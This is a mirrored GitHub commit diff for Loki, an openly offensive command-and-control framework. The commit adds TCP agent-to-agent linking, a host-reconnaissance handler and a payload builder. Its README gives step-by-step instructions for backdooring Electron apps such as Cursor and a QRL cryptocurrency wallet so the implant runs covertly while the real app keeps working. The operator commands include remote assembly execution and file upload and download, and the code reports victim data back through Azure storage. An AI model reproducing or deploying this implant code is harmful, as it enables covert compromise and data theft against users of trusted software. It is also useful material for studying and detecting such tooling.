1
0
mirror of https://github.com/boku7/Loki synced 2026-06-06 15:24:27 +00:00

added link and unlink commands to client and agent. TCP agent to agent linking capabilities added"

This commit is contained in:
Bobby Cooke
2025-05-13 10:47:05 -07:00
parent 6de5b383cf
commit 337eb5535f
21 changed files with 1424 additions and 294 deletions
+4 -4
View File
@@ -148,9 +148,9 @@ _You don't need to compile the agent when backdooring Electron apps. Just replac
```
npm install --save-dev javascript-obfuscator
```
- Run `obfuscateAgent.js` script to create a Loki payload with your Storage Account info
- Run `create_agent_payload.js` script to create a Loki payload with your Storage Account info
```
bobby$ node obfuscateAgent.js
bobby$ node create_agent_payload.js
[+] Provide Azure storage account information:
- Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
@@ -191,7 +191,7 @@ bobby$ node obfuscateAgent.js
## Backdooring Electron Apps and Keeping the real Application Working as Normal
The most straightforward way to use Loki is to replace the files in `{ELECTRONAPP}/resources/app/` with the Loki files. This hollows out the app, meaning the app won't function normally -- Loki replaced its functionality.
If you really want to keep the Electron application running and have it also deploy Loki in the background all hope is not lost! [John Hammond](https://x.com/_JohnHammond) and I figured out a way to keep the real Electron application running. We've added the file you will need to `/loki/proxyapp/init.js` in this repo.
If you really want to keep the Electron application running and have it also deploy Loki in the background all hope is not lost! [John Hammond](https://x.com/_JohnHammond) and I figured out a way to keep the real Electron application running. We've added the file you will need to `/loki/backdoor/init.js` in this repo.
It is currently setup to work for Cursor, discovered to be vulnerable by [John Hammond](https://x.com/_JohnHammond).
@@ -199,7 +199,7 @@ For doing this you will need to:
- Download the Cursor app
- Paste all Loki files except `package.json` to `cursor/resources/app/`
- Don't replace the real `package.json`
- Copy `/loki/proxyapp/init.js` to `cursor/resources/app/`
- Copy `/loki/backdoor/init.js` to `cursor/resources/app/`
- Modify contents of `cursor/resources/app/package.json` to:
- set `"main":"init.js",`
- delete `"type":"module",`
Regular → Executable
View File

Before

Width:  |  Height:  |  Size: 319 KiB

After

Width:  |  Height:  |  Size: 319 KiB

Regular → Executable
View File

Before

Width:  |  Height:  |  Size: 336 KiB

After

Width:  |  Height:  |  Size: 336 KiB

Regular → Executable
View File

Before

Width:  |  Height:  |  Size: 46 KiB

After

Width:  |  Height:  |  Size: 46 KiB

+3 -1
View File
@@ -1,5 +1,7 @@
module.exports = {
storageAccount: '',
metaContainer: '',
sasToken: ''
sasToken: '',
p2pPort: 0,
mode: ''
};
+895 -219
View File
File diff suppressed because it is too large Load Diff
+49
View File
@@ -1,5 +1,6 @@
const { ipcRenderer } = require('electron');
const { log } = require('console');
const os = require('os');
ipcRenderer.on('make-web-request', async (event, requestOptions) => {
try {
@@ -210,4 +211,52 @@ ipcRenderer.on('load', async (event, path) => {
// // log(`[LOAD] Error stack: ${error.stack}`);
ipcRenderer.send('load-complete', `Error: ${error.message}`);
}
});
// Add IPC handler for system info requests
ipcRenderer.on('get-system-info', async (event, requestId,mode) => {
try {
const hostname = os.hostname();
const username = os.userInfo().username;
const osType = os.type();
const osRelease = os.release();
const platform = os.platform();
const arch = os.arch();
const PID = process.pid;
let procName = process.argv[0];
procName = procName.trim().replace(/Helper \(Renderer\)/g, "").trim();
const nets = os.networkInterfaces();
const IpInfo = [];
for (const name of Object.keys(nets)) {
for (const net of nets[name]) {
// 'IPv4' is in Node <= 17, from 18 it's a number 4 or 6
const familyV4Value = typeof net.family === 'string' ? 'IPv4' : 4;
if (net.family === familyV4Value && !net.internal) {
IpInfo.push(net.address);
}
}
}
// Create a JSON object with the collected information
const systemInfo = {
hostname: hostname,
username: username,
osType: osType,
osRelease: osRelease,
platform: platform,
arch: arch,
PID: PID,
Process: procName,
IP: IpInfo,
mode: mode
};
// Send the response back to main process
ipcRenderer.send(`system-info-response-${requestId}`, systemInfo);
} catch (error) {
console.error('Error getting system info:', error);
ipcRenderer.send(`system-info-response-${requestId}`, 0);
}
});
@@ -6,7 +6,7 @@ For doing this you will need to:
- Download the QRLWallet app
- Paste all Loki files except `package.json` to `QRL\app-1.8.1\resources\app`
- Don't replace the real `package.json`
- Copy `/loki/proxyapp/QRLWallet/init.js` to `QRL\app-1.8.1\resources\app`
- Copy `/loki/backdoor/QRLWallet/init.js` to `QRL\app-1.8.1\resources\app`
- Modify contents of `QRL\app-1.8.1\resources\app\package.json` to:
- set `"main":"init.js",`
+2
View File
@@ -84,6 +84,8 @@ const commandDetails = [
{ name: "assembly", help: "Execute a .NET assembly and get command output\r\n\tassembly [local_path] [arg1] [arg2] ..\r\n\tassembly /operator/src/assembly arg1 arg2 arg3..\r\n" },
{ name: "upload", help: "Upload a file from your local operator box to the remote agent box\r\n\tupload [local_path] [remote_path]\r\n\tupload /operator/src/file /agent/dst/file\r\n" },
{ name: "download", help: "Download a file from remote agent box to local operator box /\r\n\tdownload [remote_path]\r\n\tdownload /agent/src/file\r\n\t- Get from View > Downloads\r\n" },
{ name: "link", help: "Peer-to-peer connect to a Loki TCP agent\r\n\tlink <hostname> <port>\r\n\tlink localhost 3000\r\n" },
{ name: "unlink", help: "Disconnect from a Loki TCP agent\r\n\tunlink <hostname>\r\n\tunlink localhost\r\n" },
//{ name: "socks", help: "socks <url> \r\n" +
// " - Connect to a SOCKS5 server.\r\n" +
// " Examples:\r\n" +
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 MiB

After

Width:  |  Height:  |  Size: 2.1 MiB

+14 -6
View File
@@ -161,18 +161,21 @@ async function updateDashboardTable()
else{
thisAgent = new Agent();
thisAgent.agentid = agentMetaBlob;
thisAgent.aes = await getContainerAesKeys(thisAgent.agentid);
const [aesKeys, links] = await getContainerAesKeys(thisAgent.agentid);
thisAgent.aes = aesKeys;
thisAgent.links = links;
if(thisAgent.aes == null){ continue; }
let metaAgentResponse = await readBlob(global.config.metaContainer,agentMetaBlob);
if(metaAgentResponse.status != 200 || metaAgentResponse.response.data == null){ continue; }
thisAgent.container = metaAgentResponse.data;
thisAgent.blobs = await getContainerBlobs(thisAgent.container);
if(thisAgent.blobs == null ){ continue; }
let checkinData = await checkinContainer(thisAgent.container, thisAgent.aes, thisAgent.blobs);
let checkinData = await checkinContainer(thisAgent.container, thisAgent.aes, thisAgent.blobs);
if(checkinData == null){ continue; }
try {
if (typeof checkinData === 'string') { agentObj = JSON.parse(checkinData); } else { continue; }
} catch (error) { continue; }
log(`agentObj : ${JSON.stringify(agentObj)}`);
thisAgent.hostname = agentObj.hostname;
thisAgent.IP = agentObj.IP;
thisAgent.osRelease = agentObj.osRelease;
@@ -182,10 +185,14 @@ async function updateDashboardTable()
thisAgent.Process = agentObj.Process;
thisAgent.username = agentObj.username;
thisAgent.arch = agentObj.arch;
thisAgent.mode = agentObj.mode;
if (global.haltUpdate == false) { global.agents.push(thisAgent); }
}
let checkinBlobLastModified = await getBlobLastModified(global.config.metaContainer,agentMetaBlob);
const timestamp = new Date(checkinBlobLastModified).getTime();
if(!timestamp){
return 0;
}
thisAgent.checkin = timestamp;
agentcheckins.push(thisAgent);
}catch(error)
@@ -395,7 +402,8 @@ async function getContainerAesKeys(agentid)
'key':JSON.parse(aes_key),
'iv': JSON.parse(aes_iv)
}
return key;
const links = response.response.headers["x-ms-meta-link"];
return [key,links];
} catch (error) {
console.error(`[AESKEYS][!] Error getting aes keys for agent ${agentid}:`, error.message, error.stack);
return null;
@@ -405,8 +413,8 @@ async function getContainerAesKeys(agentid)
async function checkinContainer(containerName, aes, blobs)
{
try {
log(`checkinContainer() | containerName : ${containerName}`);
log(`checkinContainer() | aes : ${JSON.stringify(aes)}`);
//log(`checkinContainer() | containerName : ${containerName}`);
//log(`checkinContainer() | aes : ${JSON.stringify(aes)}`);
const aes_key_bytes = Buffer.from(aes['key'], 'hex');
const aes_iv_bytes = Buffer.from(aes['iv'], 'hex');
let checkin = await readBlob(containerName, blobs['checkin']);
@@ -420,7 +428,7 @@ async function checkinContainer(containerName, aes, blobs)
return dec_checkin;
}
} catch (error) {
console.error(`Error connecting to container ${containerName}:`, error.message);
//console.error(`Error connecting to container ${containerName}:`, error.message);
return null;
}
}
+1
View File
@@ -102,6 +102,7 @@ tr > td {
<th data-column="ip">IP <span class="arrow" id="ipArrow"></span></th>
<th data-column="arch">Arch <span class="arrow" id="archArrow"></span></th>
<th data-column="platform">Platform <span class="arrow" id="platformArrow"></span></th>
<th data-column="mode">Mode <span class="arrow" id="modeArrow"></span></th>
<th data-column="checkin">Checkin <span class="arrow" id="checkinArrow"></span></th>
</tr>
</thead>
+71 -50
View File
@@ -61,30 +61,78 @@ window.addEventListener('DOMContentLoaded', () => {
});
// **Ensure the event fires only once**
function handleContextMenu(event) {
async function handleContextMenu(event) {
event.preventDefault();
log("Right-click detected on table row");
if(tableinit === true)
{
let row = event.target.closest("tr");
log(`row : ${JSON.stringify(row)}`);
if (!row || row.rowIndex === 0) return;
log(`event : ${JSON.stringify(event)}`);
if(tableinit === true) {
let row = event.target.closest("tr");
log(`row : ${JSON.stringify(row)}`);
if (!row || row.rowIndex === 0) return;
let agentData = {
agentid: row.cells[0]?.textContent || '',
containerid: row.cells[1]?.textContent || '',
hostname: row.cells[2]?.textContent || '',
username: row.cells[3]?.textContent || '',
fileName: row.cells[4]?.textContent || '',
PID: row.cells[5]?.textContent || '',
IP: row.cells[6]?.textContent || '',
arch: row.cells[7]?.textContent || '',
platform: row.cells[8]?.textContent || ''
};
log(`agentData : ${JSON.stringify(agentData)}`);
// Get the agentid for the clicked row
let agentid = row.cells[0]?.textContent || '';
// Get links for this agent
let links = await ipcRenderer.invoke('get-agent-links', agentid);
log(`[DASHBOARD] links : ${links}`);
ipcRenderer.send('show-row-context-menu', JSON.stringify(agentData));
}
// Create array to store all agent data
let allAgentData = [];
// Get data for the clicked agent
let clickedAgentData = {
agentid: agentid,
containerid: row.cells[1]?.textContent || '',
hostname: row.cells[2]?.textContent || '',
username: row.cells[3]?.textContent || '',
fileName: row.cells[4]?.textContent || '',
PID: row.cells[5]?.textContent || '',
IP: row.cells[6]?.textContent || '',
arch: row.cells[7]?.textContent || '',
platform: row.cells[8]?.textContent || '',
mode: row.cells[9]?.textContent || '',
links: links
};
allAgentData.push(clickedAgentData);
// If there are links, get data for each linked agent
if (links) {
let linkedAgentIds = links.split(',');
for (let linkedAgentId of linkedAgentIds) {
linkedAgentId = linkedAgentId.trim();
// Skip if this is the same as the clicked agent
if (linkedAgentId === agentid) {
continue;
}
// Find the row for this linked agent
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
for (let tableRow of table.rows) {
if (tableRow.cells[0].textContent === linkedAgentId) {
let linkedAgentData = {
agentid: linkedAgentId,
containerid: tableRow.cells[1]?.textContent || '',
hostname: tableRow.cells[2]?.textContent || '',
username: tableRow.cells[3]?.textContent || '',
fileName: tableRow.cells[4]?.textContent || '',
PID: tableRow.cells[5]?.textContent || '',
IP: tableRow.cells[6]?.textContent || '',
arch: tableRow.cells[7]?.textContent || '',
platform: tableRow.cells[8]?.textContent || '',
mode: tableRow.cells[9]?.textContent || '',
links: await ipcRenderer.invoke('get-agent-links', linkedAgentId)
};
allAgentData.push(linkedAgentData);
break;
}
}
}
}
log(`allAgentData : ${JSON.stringify(allAgentData)}`);
ipcRenderer.send('show-row-context-menu', JSON.stringify(allAgentData));
}
}
@@ -120,40 +168,11 @@ window.addEventListener('DOMContentLoaded', async () => {
table.removeEventListener('contextmenu', handleContextMenu);
log("Adding event listener context menu");
table.addEventListener('contextmenu', handleContextMenu);
// async function initTable() {
// try {
// let agentinit = null;
// while(agentinit == null)
// {
// agentinit = await ipcRenderer.invoke('preload-agents');
// await new Promise(resolve => setTimeout(resolve, 3000));
// }
// let agents = JSON.parse(agentinit);
// agents.forEach(agent => {
// let thisrow = updateOrAddRow(agent);
// thisrow.cells[0].textContent = agent.agentid;
// thisrow.cells[1].textContent = agent.containerid;
// thisrow.cells[2].textContent = '';
// thisrow.cells[3].textContent = '';
// thisrow.cells[4].textContent = '';
// thisrow.cells[5].textContent = '';
// thisrow.cells[6].textContent = '';
// thisrow.cells[7].textContent = '';
// thisrow.cells[8].textContent = '';
// });
// } catch (error) {
// logMain(`Error in index.js initTable() updating table: ${error} ${error.stack}`);
// }
// }
async function updateTable() {
try {
let agentcheckins;
agentcheckins = await ipcRenderer.invoke('get-containers');
const table = document.getElementById('containerTable'); // Ensure this matches your table ID
if (agentcheckins != 0) {
const agents = JSON.parse(agentcheckins);
let agent_index = 0;
@@ -194,7 +213,8 @@ window.addEventListener('DOMContentLoaded', async () => {
thisrow.cells[6].textContent = agent.IP;
thisrow.cells[7].textContent = agent.arch;
thisrow.cells[8].textContent = platformName; // Set formatted platform name
thisrow.cells[9].textContent = timeDifference(agent.checkin);
thisrow.cells[9].textContent = agent.mode;
thisrow.cells[10].textContent = timeDifference(agent.checkin);
thisrow.replaceWith(thisrow.cloneNode(true)); // Remove previous listeners
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
for (let row of table.rows) {
@@ -248,6 +268,7 @@ window.addEventListener('DOMContentLoaded', async () => {
thisRow.insertCell(7);
thisRow.insertCell(8);
thisRow.insertCell(9);
thisRow.insertCell(10); // Add cell for check-in time
}
return thisRow;
}catch(error)
+79 -8
View File
@@ -187,7 +187,7 @@ ipcMain.handle('updateagent', async (event, agentid,newcontainerid) => {
{
const newcontainer_blobs = await az.getContainerBlobs(newcontainerid);
console.log(`${newcontainerid} container key blob : ${newcontainer_blobs['key']}`);
const container_key = await az.getContainerAesKeys(agentid);
let container_key,links = await az.getContainerAesKeys(agentid);
let checkinData = await az.checkinContainer(newcontainerid, container_key,newcontainer_blobs);
let agentObj = JSON.parse(checkinData);
agentObj.agentid = agentid;
@@ -237,6 +237,23 @@ ipcMain.on('upload-client-command-to-input-channel', async (event, agent_object)
}
});
ipcMain.handle('get-agent-links', async (event, agentid) => {
try {
console.log(`[KERNEL][IPC] get-agent-links : ${agentid}`);
if(agentid == 0 || agentid == null || agentid == undefined || agentid == '')
{
return 0;
}
const [aesKeys, links] = await az.getContainerAesKeys(agentid);
const agentlinks = links;
console.log(`[KERNEL][IPC] get-agent-links : ${agentlinks}`);
return agentlinks;
} catch (error) {
console.error('Error getting agent links:', error);
return 0;
}
});
ipcMain.on('pull-download-file', async (event, agent_object, filename, blob) => {
try {
if (filename.startsWith("'") && filename.endsWith("'")) {
@@ -389,15 +406,15 @@ app.whenReady().then(() => {
]);
Menu.setApplicationMenu(menu);
// Handle right-click context menu for table rows
ipcMain.on('show-row-context-menu', (event, agentDataJSON) => {
let agentData = JSON.parse(agentDataJSON);
const agentid = agentData.agentid;
ipcMain.on('show-row-context-menu', (event, agentsDataJSON) => {
let agentsData = JSON.parse(agentsDataJSON);
console.log(`[RIGHT-CLICK] agentsData : ${JSON.stringify(agentsData)}`);
const agentid = agentsData[0].agentid;
const contextMenu = Menu.buildFromTemplate([
{
label: 'Remove',
click: async () => {
try {
console.log(`IPC show-row-context-menu : AgentData : ${agentDataJSON}`);
global.haltUpdate = true;
// Handle agent window cleanup
@@ -437,8 +454,8 @@ ipcMain.on('show-row-context-menu', (event, agentDataJSON) => {
}
// Handle storage cleanup
try {
await az.DeleteStorageBlob(global.config.metaContainer, agentData.agentid);
await az.DeleteStorageContainer(agentData.containerid);
await az.DeleteStorageBlob(global.config.metaContainer, agentid);
await az.DeleteStorageContainer(agentsData[0].containerid);
if (global.dashboardWindow) {
console.log(`dashboardWindow exists`);
@@ -461,7 +478,61 @@ ipcMain.on('show-row-context-menu', (event, agentDataJSON) => {
label: 'Explorer',
click: () => {
console.log(`Explorer clicked for agent ID: ${agentid}`);
createExplorerWindow(agentDataJSON);
createExplorerWindow(JSON.stringify(agentsData[0]));
}
},
{
label: 'Links',
visible: agentsData[0].mode && agentsData[0].mode.startsWith('link'),
click: () => {
console.log(`Links clicked for agent ID: ${agentid}`);
const primaryDisplay = screen.getPrimaryDisplay();
const { width: screenWidth, height: screenHeight } = primaryDisplay.workAreaSize;
console.log(`Screen dimensions - Width: ${screenWidth}, Height: ${screenHeight}`);
// Calculate window dimensions
const numAgents = agentsData.length + 1; // Add 1 for the Azure storage card
const headerHeight = 150; // Height for window title bar and header
const heightPerAgent = 528; // Height per agent card
const arrowSpacing = 10; // Space between arrow and next card
const calculatedHeight = headerHeight + (numAgents * heightPerAgent) + ((numAgents - 1) * arrowSpacing);
const maxHeight = Math.floor(screenHeight * 0.9);
console.log(`Calculated height: ${calculatedHeight}, Max height: ${maxHeight}`);
const totalHeight = Math.min(calculatedHeight, maxHeight);
const width = Math.min(
Math.max(600, screenWidth * 0.6),
800
);
const linksWindow = new BrowserWindow({
width: width,
height: totalHeight,
minWidth: 600,
minHeight: 400,
webPreferences: {
contextIsolation: false,
nodeIntegration: true
}
});
linksWindow.loadFile('links.html');
linksWindow.webContents.on('did-finish-load', () => {
// Add Azure storage account info to the agentsData
const azureData = {
hostname: global.config.storageAccount,
platform: "Azure Storage Account",
username: "",
fileName: "",
containerid: "",
IP: "",
PID: "",
arch: "",
mode: "",
agentid: ""
};
agentsData.push(azureData);
linksWindow.webContents.send('agent-links', agentsData);
});
}
}
]);
+293
View File
@@ -0,0 +1,293 @@
<!DOCTYPE html>
<html>
<head>
<title>Agent Links</title>
<style>
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
background-color: #1a1a1a;
color: #ffffff;
margin: 0;
padding: 20px;
height: 100vh;
box-sizing: border-box;
}
.container {
max-width: 800px;
margin: 0 auto;
}
.header {
margin-bottom: 20px;
padding-bottom: 10px;
border-bottom: 1px solid #333;
}
.header h1 {
margin: 0;
font-size: 24px;
color: #00ff00;
}
.links-container {
background-color: #222;
border-radius: 8px;
padding: 15px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
}
.link-item {
background-color: #2a2a2a;
border: 1px solid #333;
border-radius: 4px;
padding: 12px;
margin-bottom: 10px;
transition: all 0.3s ease;
}
.link-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 8px;
}
.link-title {
font-weight: bold;
text-align: left;
}
.link-item.windows .link-title {
color: #0078D4;
}
.link-item.linux .link-title {
color: #FCC624;
}
.link-item.macos .link-title {
color: #fff;
}
.link-item.azure .link-title {
color: #d500f9;
}
.link-status {
padding: 4px 8px;
border-radius: 4px;
font-size: 12px;
font-weight: bold;
}
.status-active {
background-color: #1a472a;
color: #00ff00;
}
.status-inactive {
background-color: #472a1a;
color: #ff0000;
}
.link-details {
display: grid;
grid-template-columns: 1fr 1.5fr 1fr 1.5fr;
gap: 8px 16px;
font-size: 14px;
margin-top: 8px;
}
.detail-label {
color: #aaa;
font-size: 13px;
text-align: right;
padding-right: 8px;
}
.detail-value {
color: #fff;
font-size: 14px;
text-align: left;
}
.link-actions {
margin-top: 10px;
display: flex;
gap: 10px;
}
.action-button {
background-color: #333;
border: 1px solid #444;
color: #fff;
padding: 6px 12px;
border-radius: 4px;
cursor: pointer;
transition: all 0.2s ease;
}
.action-button:hover {
background-color: #444;
border-color: #00ff00;
}
.no-links {
text-align: center;
padding: 20px;
color: #666;
font-style: italic;
}
.platform-icon {
width: 24px;
height: 24px;
object-fit: contain;
vertical-align: middle;
margin-right: 8px;
}
/* Platform-specific themes */
.link-item.windows {
border-left: 4px solid #0078D4;
background-color: rgba(0, 120, 212, 0.13);
}
.link-item.windows:hover {
background-color: rgba(0, 120, 212, 0.20);
border-color: #0078D4;
}
.link-item.linux {
border-left: 4px solid #FCC624;
background-color: rgba(252, 198, 36, 0.13);
}
.link-item.linux:hover {
background-color: rgba(252, 198, 36, 0.20);
border-color: #FCC624;
}
.link-item.macos {
border-left: 4px solid #fff;
background-color: rgba(255,255,255,0.13);
}
.link-item.macos:hover {
background-color: rgba(255,255,255,0.15);
border-color: #fff;
}
.link-item.azure {
border-left: 4px solid #d500f9;
background-color: rgba(213, 0, 249, 0.13);
}
.link-item.azure:hover {
background-color: rgba(213, 0, 249, 0.15);
border-color: #d500f9;
}
.arrow-container {
display: flex;
justify-content: center;
align-items: center;
margin: -5px 0 10px 0;
}
.arrow {
color: #fff;
font-size: 24px;
line-height: 1;
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<div class="links-container" id="linksContainer">
<div class="no-links">Loading links...</div>
</div>
</div>
<script>
const { ipcRenderer } = require('electron');
ipcRenderer.on('agent-links', (event, agentsData) => {
const container = document.getElementById('linksContainer');
if (!agentsData || agentsData.length === 0) {
container.innerHTML = '<div class="no-links">No links available</div>';
return;
}
let html = '';
agentsData.forEach((agent, index) => {
// Platform icon logic
let platformIcon = '';
let platformKey = agent.platform || '';
if (platformKey.toLowerCase().includes('mac')) platformKey = 'macOS';
if (platformKey.toLowerCase().includes('darwin')) platformKey = 'macOS';
if (platformKey.toLowerCase().includes('windows')) platformKey = 'Windows';
if (platformKey.toLowerCase().includes('linux')) platformKey = 'Linux';
if (platformKey.toLowerCase().includes('azure')) platformKey = 'Azure Storage Account';
if (PLATFORM_ICONS[platformKey]) {
platformIcon = `<img src="${PLATFORM_ICONS[platformKey]}" class="platform-icon" alt="${agent.platform} icon">`;
}
// Platform class for color theme
let platformClass = '';
if (platformKey === 'Windows') platformClass = 'windows';
else if (platformKey === 'Linux') platformClass = 'linux';
else if (platformKey === 'macOS') platformClass = 'macos';
else if (platformKey === 'Azure Storage Account') platformClass = 'azure';
// Azure card: only show hostname and platform
if (platformKey === 'Azure Storage Account') {
html += `
<div class="link-item ${platformClass}">
<div class="link-header">
${platformIcon}
<span class="link-title">${agent.hostname || 'Azure Storage'}</span>
</div>
<div class="link-details">
<span class="detail-label">Platform</span>
<span class="detail-value">Azure Storage Account</span>
</div>
</div>
`;
} else {
html += `
<div class="link-item ${platformClass}">
<div class="link-header">
${platformIcon}
<span class="link-title">${agent.hostname || agent.agentid || 'Unnamed Agent'}</span>
</div>
<div class="link-details">
<span class="detail-label">Agent ID</span><span class="detail-value">${agent.agentid || ''}</span>
<span class="detail-label">Container</span><span class="detail-value">${agent.containerid || ''}</span>
<span class="detail-label">Username</span><span class="detail-value">${agent.username || ''}</span>
<span class="detail-label">Process</span><span class="detail-value">${agent.fileName || ''}</span>
<span class="detail-label">PID</span><span class="detail-value">${agent.PID || ''}</span>
<span class="detail-label">IP</span><span class="detail-value">${agent.IP || ''}</span>
<span class="detail-label">Architecture</span><span class="detail-value">${agent.arch || ''}</span>
<span class="detail-label">Mode</span><span class="detail-value">${agent.mode || ''}</span>
<span class="detail-label">Platform</span><span class="detail-value">${agent.platform || ''}</span>
</div>
</div>
`;
}
if (index < agentsData.length - 1) {
html += `
<div class="arrow-container">
<div class="arrow">↓</div>
</div>
`;
}
});
container.innerHTML = html;
});
function handleAction(action, linkId) {
ipcRenderer.send('link-action', { action, linkId });
}
// Base64 encoded SVG icons
const PLATFORM_ICONS = {
Windows: 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA4OCA4OCI+PHBhdGggZD0iTTAgMTJoMzd2MzdIMFYxMnptNDEgMGg0N3YzN0g0MVYxMnptLTQxIDQxaDM3djM3SDBWNTN6bTQxIDBoNDd2MzdINDFWNTN6Ii8+PC9zdmc+',
Linux: 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA1MTIgNTEyIj48cGF0aCBkPSJNMjU2IDEyOGMtMTcuNyAwLTMyIDE0LjMtMzIgMzJ2MzJoNjR2LTMyYzAtMTcuNy0xNC4zLTMyLTMyLTMyem0tOTYgNjRjLTE3LjcgMC0zMiAxNC4zLTMyIDMydjk2YzAgMTcuNyAxNC4zIDMyIDMyIDMyaDY0di0zMmgtMzJ2LTY0aDMydi0zMmgtNjR6bTE5MiAwdjMyaDMydjY0aC0zMnYzMmg2NGMxNy43IDAgMzItMTQuMyAzMi0zMnYtOTZjMC0xNy43LTE0LjMtMzItMzItMzJoLTY0eiIvPjwvc3ZnPg==',
macOS: 'assets/images/apple.png',
'Azure Storage Account': 'assets/images/azure.png'
};
</script>
</body>
</html>
+11 -4
View File
@@ -49,7 +49,7 @@ if (isDebug) {
// ---------- Help Menu ----------
if (argMap.h || argMap.help) {
console.log(`
Usage: node obfuscateAgent.js [AppName] [--account <StorageAccount>] [--token <SASToken>] [--meta <ContainerName>] [-h|--help] [--debug|-d]
Usage: node create_agent_payload.js [AppName] [--account <StorageAccount>] [--token <SASToken>] [--meta <ContainerName>] [--tcp <port>] [-h|--help] [--debug|-d]
Arguments:
AppName Optional. Used to name the final output in package.json.
@@ -57,12 +57,13 @@ Arguments:
--account Azure Storage Account name. Will prompt if not provided.
--token Azure SAS Token. Will prompt if not provided.
--meta Container name for metadata. If omitted, a random name is generated.
--tcp Optional. TCP port for link mode. If specified, agent will run in link-tcp mode.
--cleanup Remove node modules, package.json, and other dependency files after execution.
-h, --help Show this help message and exit.
--debug, -d Enable verbose output about file operations.
Example:
node obfuscateAgent.js MyTool --account myacct --token 'se=2025...' --meta metaX123456 --debug
node create_agent_payload.js MyTool --account myacct --token 'se=2025...' --meta metaX123456 --tcp 8080 --debug
This script:
- Obfuscates JavaScript files in ./agent and writes to ./app
@@ -250,17 +251,23 @@ try {
}
const storageAccount = argMap.account || await promptInput("\t- Enter Storage Account : ");
const sasToken = argMap.token || await promptInput("\t- Enter SAS Token : ");
const metaContainer = argMap.meta || generateMetaContainer();
const metaContainer = argMap.meta || "mzl80liqhujwg";
//const metaContainer = argMap.meta || generateMetaContainer();
console.log("\n[+] Configuration:");
console.log("\t- Storage Account :", storageAccount);
console.log("\t- SAS Token :", sasToken);
console.log("\t- Meta Container :", metaContainer);
const tcpPort = argMap.tcp ? parseInt(argMap.tcp) : 3000;
const mode = argMap.tcp ? 'link-tcp' : 'egress';
const configContent = `module.exports = {
storageAccount: '${storageAccount}',
metaContainer: '${metaContainer}',
sasToken: '${sasToken}'
sasToken: '${sasToken}',
p2pPort: ${tcpPort},
mode: '${mode}'
};\n`;
fs.writeFileSync(configSrcPath, configContent, 'utf-8');
+1 -1
View File
@@ -109,4 +109,4 @@ npm run dist
#### ⚙️ Final Step: Configure Your Azure Storage:
- After launching the Loki GUI Client, enter your Azure Storage Account, SAS Token, and Meta Container information. Ensure the 'Meta Container' information matches the value you receive after running the 'obfuscateAgent.js' on the agent files.
- After launching the Loki GUI Client, enter your Azure Storage Account, SAS Token, and Meta Container information. Ensure the 'Meta Container' information matches the value you receive after running the 'create_agent_payload.js' on the agent files.